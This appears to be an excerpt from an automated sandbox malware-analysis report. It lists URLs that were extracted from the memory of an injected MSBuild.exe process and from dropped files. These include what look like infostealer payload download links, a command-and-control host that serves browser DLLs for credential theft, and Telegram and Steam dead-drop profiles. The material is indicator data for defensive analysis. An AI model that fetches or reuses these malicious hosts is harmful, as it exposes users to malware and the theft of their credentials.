Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: MSBuild.exe, 00000002.00000002.2104347733.0000000001118000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2104347733.0000000001161000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2104347733.0000000001110000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://heks.egrowbrands.com/ldms/22594e132764.exe
Source: MSBuild.exe, 00000002.00000002.2104347733.0000000001118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://heks.egrowbrands.com/ldms/22594e132764.exe)
Source: MSBuild.exe, 00000002.00000002.2104347733.0000000001118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://heks.egrowbrands.com/ldms/22594e132764.exepnsp.dll
Source: MSBuild.exe, 00000002.00000002.2104347733.0000000001118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://heks.egrowbrands.com/ldms/22594e132764.exestem32
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/C:
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/FO
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/freebl3.dll
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/lt?0_
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/mozglue.dll
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/msvcp140.dll
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/nlsres.dll
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/nss3.dll
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/softokn3.dll
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/sql.dll
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/sql.dllE;.JS;.JSE;.WSF;.WS
Source: MSBuild.exe, 00000009.00000002.2633668916.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/sql.dllS
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/sql.dllVersion
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/sql.dllXT
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/sql.dlll
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001458000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com/vcruntime140.dll
Source: MSBuild.exe, 0000000E.00000002.2700208576.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com:80
Source: MSBuild.exe, 0000000E.00000002.2700208576.00000000004C0000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com:80/sql.dll
Source: MSBuild.exe, 0000000E.00000002.2700208576.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com:80ontent-Disposition:
Source: MSBuild.exe, 0000000E.00000002.2700208576.00000000004C5000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2700208576.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://kasm.zubairgul.com:80ss.exe
Source: MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe
Source: MSBuild.exe, 00000009.00000002.2631638237.000000000059C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe1kkkk
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2667674104.000000006CADD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.9.dr, mozglue.dll.9.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000009.00000002.2646437491.000000002032D000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2641385828.000000001A387000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.9.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: IEHCBA.9.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001573000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.0000000001623000.00000004.00000020.00020000.00000000.sdmp, DBKEGC.9.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001573000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.0000000001623000.00000004.00000020.00020000.00000000.sdmp, DBKEGC.9.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: IEHCBA.9.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: IEHCBA.9.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: IEHCBA.9.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steam
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=engli
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001573000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.0000000001623000.00000004.00000020.00020000.00000000.sdmp, DBKEGC.9.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001573000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.0000000001623000.00000004.00000020.00020000.00000000.sdmp, DBKEGC.9.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: IEHCBA.9.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: IEHCBA.9.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: IEHCBA.9.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: DBKEGC.9.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: MSBuild.exe, 00000002.00000002.2104347733.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.c
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: https://mozilla.org0/
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001266000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 22594e132764.exe, 22594e132764.exe, 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869
Source: 22594e132764.exe, 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 22594e132764.exe, 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199780418869u55uMozilla/5.0
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: AKECBF.9.dr	String found in binary or memory: https://support.mozilla.org
Source: AKECBF.9.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AKECBF.9.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001498000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: 22594e132764.exe, 22594e132764.exe, 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: https://t.me/ae5ed
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2700208576.000000000048F000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/maslengdsa
Source: MSBuild.exe, 0000000E.00000002.2704953389.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/maslengdsa9
Source: 22594e132764.exe, 00000008.00000002.2318276099.000000000086D000.00000004.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000009.00000002.2631638237.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 22594e132764.exe, 0000000D.00000002.2414047630.000000000086D000.00000004.00000001.01000000.00000008.sdmp	String found in binary or memory: https://t.me/maslengdsafdmskfj3efskoahttps://steamcommunity.com/profiles/76561199780418869u55uhttps:
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001498000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/maslengdsau?$
Source: MSBuild.exe, 00000009.00000002.2631638237.0000000000481000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.0000000001498000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.2704953389.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001573000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.0000000001623000.00000004.00000020.00020000.00000000.sdmp, DBKEGC.9.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: MSBuild.exe, 00000009.00000002.2633668916.0000000001573000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2633668916.0000000001623000.00000004.00000020.00020000.00000000.sdmp, DBKEGC.9.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: MSBuild.exe, 00000009.00000002.2655760524.00000000326DB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2650034436.00000000267F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2647030170.0000000020890000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2661186202.000000003E5B6000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.9.dr, freebl3.dll.9.dr, nss3[1].dll.9.dr, mozglue[1].dll.9.dr, mozglue.dll.9.dr, softokn3[1].dll.9.dr, softokn3.dll.9.dr, freebl3[1].dll.9.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: IEHCBA.9.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: IEHCBA.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: AKECBF.9.dr	String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000009.00000002.2640289502.0000000019FFC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: AKECBF.9.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: MSBuild.exe, 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/ost.exe
Source: MSBuild.exe, 00000009.00000002.2640289502.0000000019FFC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AKECBF.9.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: MSBuild.exe, 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/ndows:
Source: MSBuild.exe, 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/xe
Source: MSBuild.exe, 00000009.00000002.2640289502.0000000019FFC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: AKECBF.9.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: MSBuild.exe, 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: AKECBF.9.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: AKECBF.9.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: MSBuild.exe, 00000009.00000002.2640289502.0000000019FFC000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: MSBuild.exe, 00000009.00000002.2631638237.0000000000503000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: AKECBF.9.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: MSBuild.exe, 00000013.00000002.2614624268.0000000001286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: MSBuild.exe, 00000013.00000002.2614329754.0000000001278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
